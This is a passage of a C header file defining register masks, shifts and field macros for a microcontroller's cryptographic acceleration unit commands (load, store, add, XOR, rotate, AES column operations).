#define CAU_LDR_CASR_IC(x) (((uint32_t)(((uint32_t)(x)) << CAU_LDR_CASR_IC_SHIFT)) & CAU_LDR_CASR_IC_MASK)
#define CAU_LDR_CASR_DPE_MASK (0x2U)
#define CAU_LDR_CASR_DPE_SHIFT (1U)
#define CAU_LDR_CASR_DPE(x) (((uint32_t)(((uint32_t)(x)) << CAU_LDR_CASR_DPE_SHIFT)) & CAU_LDR_CASR_DPE_MASK)
#define CAU_LDR_CASR_VER_MASK (0xF0000000U)
#define CAU_LDR_CASR_VER_SHIFT (28U)
#define CAU_LDR_CASR_VER(x) (((uint32_t)(((uint32_t)(x)) << CAU_LDR_CASR_VER_SHIFT)) & CAU_LDR_CASR_VER_MASK)
/*! @name LDR_CAA - Accumulator register - Load Register command */
#define CAU_LDR_CAA_ACC_MASK (0xFFFFFFFFU)
#define CAU_LDR_CAA_ACC_SHIFT (0U)
#define CAU_LDR_CAA_ACC(x) (((uint32_t)(((uint32_t)(x)) << CAU_LDR_CAA_ACC_SHIFT)) & CAU_LDR_CAA_ACC_MASK)
/*! @name LDR_CA - General Purpose Register 0 - Load Register command..General Purpose Register 8 - Load Register command */
#define CAU_LDR_CA_CA0_MASK (0xFFFFFFFFU)
#define CAU_LDR_CA_CA0_SHIFT (0U)
#define CAU_LDR_CA_CA0(x) (((uint32_t)(((uint32_t)(x)) << CAU_LDR_CA_CA0_SHIFT)) & CAU_LDR_CA_CA0_MASK)
#define CAU_LDR_CA_CA1_MASK (0xFFFFFFFFU)
#define CAU_LDR_CA_CA1_SHIFT (0U)
#define CAU_LDR_CA_CA1(x) (((uint32_t)(((uint32_t)(x)) << CAU_LDR_CA_CA1_SHIFT)) & CAU_LDR_CA_CA1_MASK)
#define CAU_LDR_CA_CA2_MASK (0xFFFFFFFFU)
#define CAU_LDR_CA_CA2_SHIFT (0U)
#define CAU_LDR_CA_CA2(x) (((uint32_t)(((uint32_t)(x)) << CAU_LDR_CA_CA2_SHIFT)) & CAU_LDR_CA_CA2_MASK)
#define CAU_LDR_CA_CA3_MASK (0xFFFFFFFFU)
#define CAU_LDR_CA_CA3_SHIFT (0U)
#define CAU_LDR_CA_CA3(x) (((uint32_t)(((uint32_t)(x)) << CAU_LDR_CA_CA3_SHIFT)) & CAU_LDR_CA_CA3_MASK)
#define CAU_LDR_CA_CA4_MASK (0xFFFFFFFFU)
#define CAU_LDR_CA_CA4_SHIFT (0U)
#define CAU_LDR_CA_CA4(x) (((uint32_t)(((uint32_t)(x)) << CAU_LDR_CA_CA4_SHIFT)) & CAU_LDR_CA_CA4_MASK)
#define CAU_LDR_CA_CA5_MASK (0xFFFFFFFFU)
#define CAU_LDR_CA_CA5_SHIFT (0U)
#define CAU_LDR_CA_CA5(x) (((uint32_t)(((uint32_t)(x)) << CAU_LDR_CA_CA5_SHIFT)) & CAU_LDR_CA_CA5_MASK)
#define CAU_LDR_CA_CA6_MASK (0xFFFFFFFFU)
#define CAU_LDR_CA_CA6_SHIFT (0U)
#define CAU_LDR_CA_CA6(x) (((uint32_t)(((uint32_t)(x)) << CAU_LDR_CA_CA6_SHIFT)) & CAU_LDR_CA_CA6_MASK)
#define CAU_LDR_CA_CA7_MASK (0xFFFFFFFFU)
#define CAU_LDR_CA_CA7_SHIFT (0U)
#define CAU_LDR_CA_CA7(x) (((uint32_t)(((uint32_t)(x)) << CAU_LDR_CA_CA7_SHIFT)) & CAU_LDR_CA_CA7_MASK)
#define CAU_LDR_CA_CA8_MASK (0xFFFFFFFFU)
#define CAU_LDR_CA_CA8_SHIFT (0U)
#define CAU_LDR_CA_CA8(x) (((uint32_t)(((uint32_t)(x)) << CAU_LDR_CA_CA8_SHIFT)) & CAU_LDR_CA_CA8_MASK)
/* The count of CAU_LDR_CA */
#define CAU_LDR_CA_COUNT (9U)
/*! @name STR_CASR - Status register - Store Register command */
#define CAU_STR_CASR_IC_MASK (0x1U)
#define CAU_STR_CASR_IC_SHIFT (0U)
#define CAU_STR_CASR_IC(x) (((uint32_t)(((uint32_t)(x)) << CAU_STR_CASR_IC_SHIFT)) & CAU_STR_CASR_IC_MASK)
#define CAU_STR_CASR_DPE_MASK (0x2U)
#define CAU_STR_CASR_DPE_SHIFT (1U)
#define CAU_STR_CASR_DPE(x) (((uint32_t)(((uint32_t)(x)) << CAU_STR_CASR_DPE_SHIFT)) & CAU_STR_CASR_DPE_MASK)
#define CAU_STR_CASR_VER_MASK (0xF0000000U)
#define CAU_STR_CASR_VER_SHIFT (28U)
#define CAU_STR_CASR_VER(x) (((uint32_t)(((uint32_t)(x)) << CAU_STR_CASR_VER_SHIFT)) & CAU_STR_CASR_VER_MASK)
/*! @name STR_CAA - Accumulator register - Store Register command */
#define CAU_STR_CAA_ACC_MASK (0xFFFFFFFFU)
#define CAU_STR_CAA_ACC_SHIFT (0U)
#define CAU_STR_CAA_ACC(x) (((uint32_t)(((uint32_t)(x)) << CAU_STR_CAA_ACC_SHIFT)) & CAU_STR_CAA_ACC_MASK)
/*! @name STR_CA - General Purpose Register 0 - Store Register command..General Purpose Register 8 - Store Register command */
#define CAU_STR_CA_CA0_MASK (0xFFFFFFFFU)
#define CAU_STR_CA_CA0_SHIFT (0U)
#define CAU_STR_CA_CA0(x) (((uint32_t)(((uint32_t)(x)) << CAU_STR_CA_CA0_SHIFT)) & CAU_STR_CA_CA0_MASK)
#define CAU_STR_CA_CA1_MASK (0xFFFFFFFFU)
#define CAU_STR_CA_CA1_SHIFT (0U)
#define CAU_STR_CA_CA1(x) (((uint32_t)(((uint32_t)(x)) << CAU_STR_CA_CA1_SHIFT)) & CAU_STR_CA_CA1_MASK)
#define CAU_STR_CA_CA2_MASK (0xFFFFFFFFU)
#define CAU_STR_CA_CA2_SHIFT (0U)
#define CAU_STR_CA_CA2(x) (((uint32_t)(((uint32_t)(x)) << CAU_STR_CA_CA2_SHIFT)) & CAU_STR_CA_CA2_MASK)
#define CAU_STR_CA_CA3_MASK (0xFFFFFFFFU)
#define CAU_STR_CA_CA3_SHIFT (0U)
#define CAU_STR_CA_CA3(x) (((uint32_t)(((uint32_t)(x)) << CAU_STR_CA_CA3_SHIFT)) & CAU_STR_CA_CA3_MASK)
#define CAU_STR_CA_CA4_MASK (0xFFFFFFFFU)
#define CAU_STR_CA_CA4_SHIFT (0U)
#define CAU_STR_CA_CA4(x) (((uint32_t)(((uint32_t)(x)) << CAU_STR_CA_CA4_SHIFT)) & CAU_STR_CA_CA4_MASK)
#define CAU_STR_CA_CA5_MASK (0xFFFFFFFFU)
#define CAU_STR_CA_CA5_SHIFT (0U)
#define CAU_STR_CA_CA5(x) (((uint32_t)(((uint32_t)(x)) << CAU_STR_CA_CA5_SHIFT)) & CAU_STR_CA_CA5_MASK)
#define CAU_STR_CA_CA6_MASK (0xFFFFFFFFU)
#define CAU_STR_CA_CA6_SHIFT (0U)
#define CAU_STR_CA_CA6(x) (((uint32_t)(((uint32_t)(x)) << CAU_STR_CA_CA6_SHIFT)) & CAU_STR_CA_CA6_MASK)
#define CAU_STR_CA_CA7_MASK (0xFFFFFFFFU)
#define CAU_STR_CA_CA7_SHIFT (0U)
#define CAU_STR_CA_CA7(x) (((uint32_t)(((uint32_t)(x)) << CAU_STR_CA_CA7_SHIFT)) & CAU_STR_CA_CA7_MASK)
#define CAU_STR_CA_CA8_MASK (0xFFFFFFFFU)
#define CAU_STR_CA_CA8_SHIFT (0U)
#define CAU_STR_CA_CA8(x) (((uint32_t)(((uint32_t)(x)) << CAU_STR_CA_CA8_SHIFT)) & CAU_STR_CA_CA8_MASK)
/* The count of CAU_STR_CA */
#define CAU_STR_CA_COUNT (9U)
/*! @name ADR_CASR - Status register - Add Register command */
#define CAU_ADR_CASR_IC_MASK (0x1U)
#define CAU_ADR_CASR_IC_SHIFT (0U)
#define CAU_ADR_CASR_IC(x) (((uint32_t)(((uint32_t)(x)) << CAU_ADR_CASR_IC_SHIFT)) & CAU_ADR_CASR_IC_MASK)
#define CAU_ADR_CASR_DPE_MASK (0x2U)
#define CAU_ADR_CASR_DPE_SHIFT (1U)
#define CAU_ADR_CASR_DPE(x) (((uint32_t)(((uint32_t)(x)) << CAU_ADR_CASR_DPE_SHIFT)) & CAU_ADR_CASR_DPE_MASK)
#define CAU_ADR_CASR_VER_MASK (0xF0000000U)
#define CAU_ADR_CASR_VER_SHIFT (28U)
#define CAU_ADR_CASR_VER(x) (((uint32_t)(((uint32_t)(x)) << CAU_ADR_CASR_VER_SHIFT)) & CAU_ADR_CASR_VER_MASK)
/*! @name ADR_CAA - Accumulator register - Add to register command */
#define CAU_ADR_CAA_ACC_MASK (0xFFFFFFFFU)
#define CAU_ADR_CAA_ACC_SHIFT (0U)
#define CAU_ADR_CAA_ACC(x) (((uint32_t)(((uint32_t)(x)) << CAU_ADR_CAA_ACC_SHIFT)) & CAU_ADR_CAA_ACC_MASK)
/*! @name ADR_CA - General Purpose Register 0 - Add to register command..General Purpose Register 8 - Add to register command */
#define CAU_ADR_CA_CA0_MASK (0xFFFFFFFFU)
#define CAU_ADR_CA_CA0_SHIFT (0U)
#define CAU_ADR_CA_CA0(x) (((uint32_t)(((uint32_t)(x)) << CAU_ADR_CA_CA0_SHIFT)) & CAU_ADR_CA_CA0_MASK)
#define CAU_ADR_CA_CA1_MASK (0xFFFFFFFFU)
#define CAU_ADR_CA_CA1_SHIFT (0U)
#define CAU_ADR_CA_CA1(x) (((uint32_t)(((uint32_t)(x)) << CAU_ADR_CA_CA1_SHIFT)) & CAU_ADR_CA_CA1_MASK)
#define CAU_ADR_CA_CA2_MASK (0xFFFFFFFFU)
#define CAU_ADR_CA_CA2_SHIFT (0U)
#define CAU_ADR_CA_CA2(x) (((uint32_t)(((uint32_t)(x)) << CAU_ADR_CA_CA2_SHIFT)) & CAU_ADR_CA_CA2_MASK)
#define CAU_ADR_CA_CA3_MASK (0xFFFFFFFFU)
#define CAU_ADR_CA_CA3_SHIFT (0U)
#define CAU_ADR_CA_CA3(x) (((uint32_t)(((uint32_t)(x)) << CAU_ADR_CA_CA3_SHIFT)) & CAU_ADR_CA_CA3_MASK)
#define CAU_ADR_CA_CA4_MASK (0xFFFFFFFFU)
#define CAU_ADR_CA_CA4_SHIFT (0U)
#define CAU_ADR_CA_CA4(x) (((uint32_t)(((uint32_t)(x)) << CAU_ADR_CA_CA4_SHIFT)) & CAU_ADR_CA_CA4_MASK)
#define CAU_ADR_CA_CA5_MASK (0xFFFFFFFFU)
#define CAU_ADR_CA_CA5_SHIFT (0U)
#define CAU_ADR_CA_CA5(x) (((uint32_t)(((uint32_t)(x)) << CAU_ADR_CA_CA5_SHIFT)) & CAU_ADR_CA_CA5_MASK)
#define CAU_ADR_CA_CA6_MASK (0xFFFFFFFFU)
#define CAU_ADR_CA_CA6_SHIFT (0U)
#define CAU_ADR_CA_CA6(x) (((uint32_t)(((uint32_t)(x)) << CAU_ADR_CA_CA6_SHIFT)) & CAU_ADR_CA_CA6_MASK)
#define CAU_ADR_CA_CA7_MASK (0xFFFFFFFFU)
#define CAU_ADR_CA_CA7_SHIFT (0U)
#define CAU_ADR_CA_CA7(x) (((uint32_t)(((uint32_t)(x)) << CAU_ADR_CA_CA7_SHIFT)) & CAU_ADR_CA_CA7_MASK)
#define CAU_ADR_CA_CA8_MASK (0xFFFFFFFFU)
#define CAU_ADR_CA_CA8_SHIFT (0U)
#define CAU_ADR_CA_CA8(x) (((uint32_t)(((uint32_t)(x)) << CAU_ADR_CA_CA8_SHIFT)) & CAU_ADR_CA_CA8_MASK)
/* The count of CAU_ADR_CA */
#define CAU_ADR_CA_COUNT (9U)
/*! @name RADR_CASR - Status register - Reverse and Add to Register command */
#define CAU_RADR_CASR_IC_MASK (0x1U)
#define CAU_RADR_CASR_IC_SHIFT (0U)
#define CAU_RADR_CASR_IC(x) (((uint32_t)(((uint32_t)(x)) << CAU_RADR_CASR_IC_SHIFT)) & CAU_RADR_CASR_IC_MASK)
#define CAU_RADR_CASR_DPE_MASK (0x2U)
#define CAU_RADR_CASR_DPE_SHIFT (1U)
#define CAU_RADR_CASR_DPE(x) (((uint32_t)(((uint32_t)(x)) << CAU_RADR_CASR_DPE_SHIFT)) & CAU_RADR_CASR_DPE_MASK)
#define CAU_RADR_CASR_VER_MASK (0xF0000000U)
#define CAU_RADR_CASR_VER_SHIFT (28U)
#define CAU_RADR_CASR_VER(x) (((uint32_t)(((uint32_t)(x)) << CAU_RADR_CASR_VER_SHIFT)) & CAU_RADR_CASR_VER_MASK)
/*! @name RADR_CAA - Accumulator register - Reverse and Add to Register command */
#define CAU_RADR_CAA_ACC_MASK (0xFFFFFFFFU)
#define CAU_RADR_CAA_ACC_SHIFT (0U)
#define CAU_RADR_CAA_ACC(x) (((uint32_t)(((uint32_t)(x)) << CAU_RADR_CAA_ACC_SHIFT)) & CAU_RADR_CAA_ACC_MASK)
/*! @name RADR_CA - General Purpose Register 0 - Reverse and Add to Register command..General Purpose Register 8 - Reverse and Add to Register command */
#define CAU_RADR_CA_CA0_MASK (0xFFFFFFFFU)
#define CAU_RADR_CA_CA0_SHIFT (0U)
#define CAU_RADR_CA_CA0(x) (((uint32_t)(((uint32_t)(x)) << CAU_RADR_CA_CA0_SHIFT)) & CAU_RADR_CA_CA0_MASK)
#define CAU_RADR_CA_CA1_MASK (0xFFFFFFFFU)
#define CAU_RADR_CA_CA1_SHIFT (0U)
#define CAU_RADR_CA_CA1(x) (((uint32_t)(((uint32_t)(x)) << CAU_RADR_CA_CA1_SHIFT)) & CAU_RADR_CA_CA1_MASK)
#define CAU_RADR_CA_CA2_MASK (0xFFFFFFFFU)
#define CAU_RADR_CA_CA2_SHIFT (0U)
#define CAU_RADR_CA_CA2(x) (((uint32_t)(((uint32_t)(x)) << CAU_RADR_CA_CA2_SHIFT)) & CAU_RADR_CA_CA2_MASK)
#define CAU_RADR_CA_CA3_MASK (0xFFFFFFFFU)
#define CAU_RADR_CA_CA3_SHIFT (0U)
#define CAU_RADR_CA_CA3(x) (((uint32_t)(((uint32_t)(x)) << CAU_RADR_CA_CA3_SHIFT)) & CAU_RADR_CA_CA3_MASK)
#define CAU_RADR_CA_CA4_MASK (0xFFFFFFFFU)
#define CAU_RADR_CA_CA4_SHIFT (0U)
#define CAU_RADR_CA_CA4(x) (((uint32_t)(((uint32_t)(x)) << CAU_RADR_CA_CA4_SHIFT)) & CAU_RADR_CA_CA4_MASK)
#define CAU_RADR_CA_CA5_MASK (0xFFFFFFFFU)
#define CAU_RADR_CA_CA5_SHIFT (0U)
#define CAU_RADR_CA_CA5(x) (((uint32_t)(((uint32_t)(x)) << CAU_RADR_CA_CA5_SHIFT)) & CAU_RADR_CA_CA5_MASK)
#define CAU_RADR_CA_CA6_MASK (0xFFFFFFFFU)
#define CAU_RADR_CA_CA6_SHIFT (0U)
#define CAU_RADR_CA_CA6(x) (((uint32_t)(((uint32_t)(x)) << CAU_RADR_CA_CA6_SHIFT)) & CAU_RADR_CA_CA6_MASK)
#define CAU_RADR_CA_CA7_MASK (0xFFFFFFFFU)
#define CAU_RADR_CA_CA7_SHIFT (0U)
#define CAU_RADR_CA_CA7(x) (((uint32_t)(((uint32_t)(x)) << CAU_RADR_CA_CA7_SHIFT)) & CAU_RADR_CA_CA7_MASK)
#define CAU_RADR_CA_CA8_MASK (0xFFFFFFFFU)
#define CAU_RADR_CA_CA8_SHIFT (0U)
#define CAU_RADR_CA_CA8(x) (((uint32_t)(((uint32_t)(x)) << CAU_RADR_CA_CA8_SHIFT)) & CAU_RADR_CA_CA8_MASK)
/* The count of CAU_RADR_CA */
#define CAU_RADR_CA_COUNT (9U)
/*! @name XOR_CASR - Status register - Exclusive Or command */
#define CAU_XOR_CASR_IC_MASK (0x1U)
#define CAU_XOR_CASR_IC_SHIFT (0U)
#define CAU_XOR_CASR_IC(x) (((uint32_t)(((uint32_t)(x)) << CAU_XOR_CASR_IC_SHIFT)) & CAU_XOR_CASR_IC_MASK)
#define CAU_XOR_CASR_DPE_MASK (0x2U)
#define CAU_XOR_CASR_DPE_SHIFT (1U)
#define CAU_XOR_CASR_DPE(x) (((uint32_t)(((uint32_t)(x)) << CAU_XOR_CASR_DPE_SHIFT)) & CAU_XOR_CASR_DPE_MASK)
#define CAU_XOR_CASR_VER_MASK (0xF0000000U)
#define CAU_XOR_CASR_VER_SHIFT (28U)
#define CAU_XOR_CASR_VER(x) (((uint32_t)(((uint32_t)(x)) << CAU_XOR_CASR_VER_SHIFT)) & CAU_XOR_CASR_VER_MASK)
/*! @name XOR_CAA - Accumulator register - Exclusive Or command */
#define CAU_XOR_CAA_ACC_MASK (0xFFFFFFFFU)
#define CAU_XOR_CAA_ACC_SHIFT (0U)
#define CAU_XOR_CAA_ACC(x) (((uint32_t)(((uint32_t)(x)) << CAU_XOR_CAA_ACC_SHIFT)) & CAU_XOR_CAA_ACC_MASK)
/*! @name XOR_CA - General Purpose Register 0 - Exclusive Or command..General Purpose Register 8 - Exclusive Or command */
#define CAU_XOR_CA_CA0_MASK (0xFFFFFFFFU)
#define CAU_XOR_CA_CA0_SHIFT (0U)
#define CAU_XOR_CA_CA0(x) (((uint32_t)(((uint32_t)(x)) << CAU_XOR_CA_CA0_SHIFT)) & CAU_XOR_CA_CA0_MASK)
#define CAU_XOR_CA_CA1_MASK (0xFFFFFFFFU)
#define CAU_XOR_CA_CA1_SHIFT (0U)
#define CAU_XOR_CA_CA1(x) (((uint32_t)(((uint32_t)(x)) << CAU_XOR_CA_CA1_SHIFT)) & CAU_XOR_CA_CA1_MASK)
#define CAU_XOR_CA_CA2_MASK (0xFFFFFFFFU)
#define CAU_XOR_CA_CA2_SHIFT (0U)
#define CAU_XOR_CA_CA2(x) (((uint32_t)(((uint32_t)(x)) << CAU_XOR_CA_CA2_SHIFT)) & CAU_XOR_CA_CA2_MASK)
#define CAU_XOR_CA_CA3_MASK (0xFFFFFFFFU)
#define CAU_XOR_CA_CA3_SHIFT (0U)
#define CAU_XOR_CA_CA3(x) (((uint32_t)(((uint32_t)(x)) << CAU_XOR_CA_CA3_SHIFT)) & CAU_XOR_CA_CA3_MASK)
#define CAU_XOR_CA_CA4_MASK (0xFFFFFFFFU)
#define CAU_XOR_CA_CA4_SHIFT (0U)
#define CAU_XOR_CA_CA4(x) (((uint32_t)(((uint32_t)(x)) << CAU_XOR_CA_CA4_SHIFT)) & CAU_XOR_CA_CA4_MASK)
#define CAU_XOR_CA_CA5_MASK (0xFFFFFFFFU)
#define CAU_XOR_CA_CA5_SHIFT (0U)
#define CAU_XOR_CA_CA5(x) (((uint32_t)(((uint32_t)(x)) << CAU_XOR_CA_CA5_SHIFT)) & CAU_XOR_CA_CA5_MASK)
#define CAU_XOR_CA_CA6_MASK (0xFFFFFFFFU)
#define CAU_XOR_CA_CA6_SHIFT (0U)
#define CAU_XOR_CA_CA6(x) (((uint32_t)(((uint32_t)(x)) << CAU_XOR_CA_CA6_SHIFT)) & CAU_XOR_CA_CA6_MASK)
#define CAU_XOR_CA_CA7_MASK (0xFFFFFFFFU)
#define CAU_XOR_CA_CA7_SHIFT (0U)
#define CAU_XOR_CA_CA7(x) (((uint32_t)(((uint32_t)(x)) << CAU_XOR_CA_CA7_SHIFT)) & CAU_XOR_CA_CA7_MASK)
#define CAU_XOR_CA_CA8_MASK (0xFFFFFFFFU)
#define CAU_XOR_CA_CA8_SHIFT (0U)
#define CAU_XOR_CA_CA8(x) (((uint32_t)(((uint32_t)(x)) << CAU_XOR_CA_CA8_SHIFT)) & CAU_XOR_CA_CA8_MASK)
/* The count of CAU_XOR_CA */
#define CAU_XOR_CA_COUNT (9U)
/*! @name ROTL_CASR - Status register - Rotate Left command */
#define CAU_ROTL_CASR_IC_MASK (0x1U)
#define CAU_ROTL_CASR_IC_SHIFT (0U)
#define CAU_ROTL_CASR_IC(x) (((uint32_t)(((uint32_t)(x)) << CAU_ROTL_CASR_IC_SHIFT)) & CAU_ROTL_CASR_IC_MASK)
#define CAU_ROTL_CASR_DPE_MASK (0x2U)
#define CAU_ROTL_CASR_DPE_SHIFT (1U)
#define CAU_ROTL_CASR_DPE(x) (((uint32_t)(((uint32_t)(x)) << CAU_ROTL_CASR_DPE_SHIFT)) & CAU_ROTL_CASR_DPE_MASK)
#define CAU_ROTL_CASR_VER_MASK (0xF0000000U)
#define CAU_ROTL_CASR_VER_SHIFT (28U)
#define CAU_ROTL_CASR_VER(x) (((uint32_t)(((uint32_t)(x)) << CAU_ROTL_CASR_VER_SHIFT)) & CAU_ROTL_CASR_VER_MASK)
/*! @name ROTL_CAA - Accumulator register - Rotate Left command */
#define CAU_ROTL_CAA_ACC_MASK (0xFFFFFFFFU)
#define CAU_ROTL_CAA_ACC_SHIFT (0U)
#define CAU_ROTL_CAA_ACC(x) (((uint32_t)(((uint32_t)(x)) << CAU_ROTL_CAA_ACC_SHIFT)) & CAU_ROTL_CAA_ACC_MASK)
/*! @name ROTL_CA - General Purpose Register 0 - Rotate Left command..General Purpose Register 8 - Rotate Left command */
#define CAU_ROTL_CA_CA0_MASK (0xFFFFFFFFU)
#define CAU_ROTL_CA_CA0_SHIFT (0U)
#define CAU_ROTL_CA_CA0(x) (((uint32_t)(((uint32_t)(x)) << CAU_ROTL_CA_CA0_SHIFT)) & CAU_ROTL_CA_CA0_MASK)
#define CAU_ROTL_CA_CA1_MASK (0xFFFFFFFFU)
#define CAU_ROTL_CA_CA1_SHIFT (0U)
#define CAU_ROTL_CA_CA1(x) (((uint32_t)(((uint32_t)(x)) << CAU_ROTL_CA_CA1_SHIFT)) & CAU_ROTL_CA_CA1_MASK)
#define CAU_ROTL_CA_CA2_MASK (0xFFFFFFFFU)
#define CAU_ROTL_CA_CA2_SHIFT (0U)
#define CAU_ROTL_CA_CA2(x) (((uint32_t)(((uint32_t)(x)) << CAU_ROTL_CA_CA2_SHIFT)) & CAU_ROTL_CA_CA2_MASK)
#define CAU_ROTL_CA_CA3_MASK (0xFFFFFFFFU)
#define CAU_ROTL_CA_CA3_SHIFT (0U)
#define CAU_ROTL_CA_CA3(x) (((uint32_t)(((uint32_t)(x)) << CAU_ROTL_CA_CA3_SHIFT)) & CAU_ROTL_CA_CA3_MASK)
#define CAU_ROTL_CA_CA4_MASK (0xFFFFFFFFU)
#define CAU_ROTL_CA_CA4_SHIFT (0U)
#define CAU_ROTL_CA_CA4(x) (((uint32_t)(((uint32_t)(x)) << CAU_ROTL_CA_CA4_SHIFT)) & CAU_ROTL_CA_CA4_MASK)
#define CAU_ROTL_CA_CA5_MASK (0xFFFFFFFFU)
#define CAU_ROTL_CA_CA5_SHIFT (0U)
#define CAU_ROTL_CA_CA5(x) (((uint32_t)(((uint32_t)(x)) << CAU_ROTL_CA_CA5_SHIFT)) & CAU_ROTL_CA_CA5_MASK)
#define CAU_ROTL_CA_CA6_MASK (0xFFFFFFFFU)
#define CAU_ROTL_CA_CA6_SHIFT (0U)
#define CAU_ROTL_CA_CA6(x) (((uint32_t)(((uint32_t)(x)) << CAU_ROTL_CA_CA6_SHIFT)) & CAU_ROTL_CA_CA6_MASK)
#define CAU_ROTL_CA_CA7_MASK (0xFFFFFFFFU)
#define CAU_ROTL_CA_CA7_SHIFT (0U)
#define CAU_ROTL_CA_CA7(x) (((uint32_t)(((uint32_t)(x)) << CAU_ROTL_CA_CA7_SHIFT)) & CAU_ROTL_CA_CA7_MASK)
#define CAU_ROTL_CA_CA8_MASK (0xFFFFFFFFU)
#define CAU_ROTL_CA_CA8_SHIFT (0U)
#define CAU_ROTL_CA_CA8(x) (((uint32_t)(((uint32_t)(x)) << CAU_ROTL_CA_CA8_SHIFT)) & CAU_ROTL_CA_CA8_MASK)
/* The count of CAU_ROTL_CA */
#define CAU_ROTL_CA_COUNT (9U)
/*! @name AESC_CASR - Status register - AES Column Operation command */
#define CAU_AESC_CASR_IC_MASK (0x1U)
#define CAU_AESC_CASR_IC_SHIFT (0U)
#define CAU_AESC_CASR_IC(x) (((uint32_t)(((uint32_t)(x)) << CAU_AESC_CASR_IC_SHIFT)) & CAU_AESC_CASR_IC_MASK)
#define CAU_AESC_CASR_DPE_MASK (0x2U)
#define CAU_AESC_CASR_DPE_SHIFT (1U)
#define CAU_AESC_CASR_DPE(x) (((uint32_t)(((uint32_t)(x)) << CAU_AESC_CASR_DPE_SHIFT)) & CAU_AESC_CASR_DPE_MASK)
#define CAU_AESC_CASR_VER_MASK (0xF0000000U)
#define CAU_AESC_CASR_VER_SHIFT (28U)
#define CAU_AESC_CASR_VER(x) (((uint32_t)(((uint32_t)(x)) << CAU_AESC_CASR_VER_SHIFT)) & CAU_AESC_CASR_VER_MASK)
/*! @name AESC_CAA - Accumulator register - AES Column Operation command */
#define CAU_AESC_CAA_ACC_MASK (0xFFFFFFFFU)
#define CAU_AESC_CAA_ACC_SHIFT (0U)
#define CAU_AESC_CAA_ACC(x) (((uint32_t)(((uint32_t)(x)) << CAU_AESC_CAA_ACC_SHIFT)) & CAU_AESC_CAA_ACC_MASK)
/*! @name AESC_CA - General Purpose Register 0 - AES Column Operation command..General Purpose Register 8 - AES Column Operation command */
#define CAU_AESC_CA_CA0_MASK (0xFFFFFFFFU)
#define CAU_AESC_CA_CA0_SHIFT (0U)
#define CAU_AESC_CA_CA0(x) (((uint32_t)(((uint32_t)(x)) << CAU_AESC_CA_CA0_SHIFT)) & CAU_AESC_CA_CA0_MASK)
#define CAU_AESC_CA_CA1_MASK (0xFFFFFFFFU)
#define CAU_AESC_CA_CA1_SHIFT (0U)
#define CAU_AESC_CA_CA1(x) (((uint32_t)(((uint32_t)(x)) << CAU_AESC_CA_CA1_SHIFT)) & CAU_AESC_CA_CA1_MASK)
#define CAU_AESC_CA_CA2_MASK (0xFFFFFFFFU)
#define CAU_AESC_CA_CA2_SHIFT (0U)
#define CAU_AESC_CA_CA2(x) (((uint32_t)(((uint32_t)(x)) << CAU_AESC_CA_CA2_SHIFT)) & CAU_AESC_CA_CA2_MASK)
#define CAU_AESC_CA_CA3_MASK (0xFFFFFFFFU)
#define CAU_AESC_CA_CA3_SHIFT (0U)
#define CAU_AESC_CA_CA3(x) (((uint32_t)(((uint32_t)(x)) << CAU_AESC_CA_CA3_SHIFT)) & CAU_AESC_CA_CA3_MASK)
#define CAU_AESC_CA_CA4_MASK (0xFFFFFFFFU)
#define CAU_AESC_CA_CA4_SHIFT (0U)
#define CAU_AESC_CA_CA4(x) (((uint32_t)(((uint32_t)(x)) << CAU_AESC_CA_CA4_SHIFT)) & CAU_AESC_CA_CA4_MASK)
#define CAU_AESC_CA_CA5_MASK (0xFFFFFFFFU)
#define CAU_AESC_CA_CA5_SHIFT (0U)
#define CAU_AESC_CA_CA5(x) (((uint32_t)(((uint32_t)(x)) << CAU_AESC_CA_CA5_SHIFT)) & CAU_AESC_CA_CA5_MASK)
#define CAU_AESC_CA_CA6_MASK (0xFFFFFFFFU)
#define CAU_AESC_CA_CA6_SHIFT (0U)
#define CAU_AESC_CA_CA6(x) (((uint32_t)(((uint32_t)(x)) << CAU_AESC_CA_CA6_SHIFT)) & CAU_AESC_CA_CA6_MASK)
#define CAU_AESC_CA_CA7_MASK (0xFFFFFFFFU)
#define CAU_AESC_CA_CA7_SHIFT (0U)
#define CAU_AESC_CA_CA7(x) (((uint32_t)(((uint32_t)(x)) << CAU_AESC_CA_CA7_SHIFT)) & CAU_AESC_CA_CA7_MASK)
#define CAU_AESC_CA_CA8_MASK (0xFFFFFFFFU)
#define CAU_AESC_CA_CA8_SHIFT (0U)
#define CAU_AESC_CA_CA8(x) (((uint32_t)(((uint32_t)(x)) << CAU_AESC_CA_CA8_SHIFT)) & CAU_AESC_CA_CA8_MASK)
/* The count of CAU_AESC_CA */
#define CAU_AESC_CA_COUNT (9U)
/*! @name AESIC_CASR - Status register - AES Inverse Column Operation command */
#define CAU_AESIC_CASR_IC_MASK (0x1U)
#define CAU_AESIC_CASR_IC_SHIFT (0U)
#define CAU_AESIC_CASR_IC(x) (((uint32_t)(((uint32_t)(x)) << CAU_AESIC_CASR_IC_SHIFT)) & CAU_AESIC_CASR_IC_MASK)
#define CAU_AESIC_CASR_DPE_MASK (0x2U)
#define CAU_AESIC_CASR_DPE_SHIFT (1U)
#define CAU_AESIC_CASR_DPE(x) (((uint32_t)(((uint32_t)(x)) << CAU_AESIC_CASR_DPE_SHIFT)) & CAU_AESIC_CASR_DPE_MASK)
#define CAU_AESIC_CASR_VER_MASK (0xF0000000U)
#define CAU_AESIC_CASR_VER_SHIFT (28U)
#define CAU_AESIC_CASR_VER(x) (((uint32_t)(((uint32_t)(x)) << CAU_AESIC_CASR_VER_SHIFT)) & CAU_AESIC_CASR_VER_MASK)
/*! @name AESIC_CAA - Accumulator register - AES Inverse Column Operation command */
#define CAU_AESIC_CAA_ACC_MASK (0xFFFFFFFFU)
#define CAU_AESIC_CAA_ACC_SHIFT (0U)
#define CAU_AESIC_CAA_ACC(x) (((uint32_t)(((uint32_t)(x)) << CAU_AESIC_CAA_ACC_SHIFT)) & CAU_AESIC_CAA_ACC_MASK)
/*! @name AESIC_CA - General Purpose Register 0 - AES Inverse Column Operation command..General Purpose Register 8 - AES Inverse Column Operation command */
#define CAU_AESIC_CA_CA0_MASK (0xFFFFFFFFU)
#define CAU_AESIC_CA_CA0_SHIFT (0U)
#define CAU_AESIC_CA_CA0(x) (((uint32_t)(((uint32_t)(x)) << CAU_AESIC_CA_CA0_SHIFT)) & CAU_AESIC_CA_CA0_MASK)
#define CAU_AESIC_CA_CA1_MASK (0xFFFFFFFFU)
#define CAU_AESIC_CA_CA1_SHIFT (0U)
#define CAU_AESIC_CA_CA1(x) (((uint32_t)(((uint32_t)(x)) << CAU_AESIC_CA_CA1_SHIFT)) & CAU_AESIC_CA_CA1_MASK)
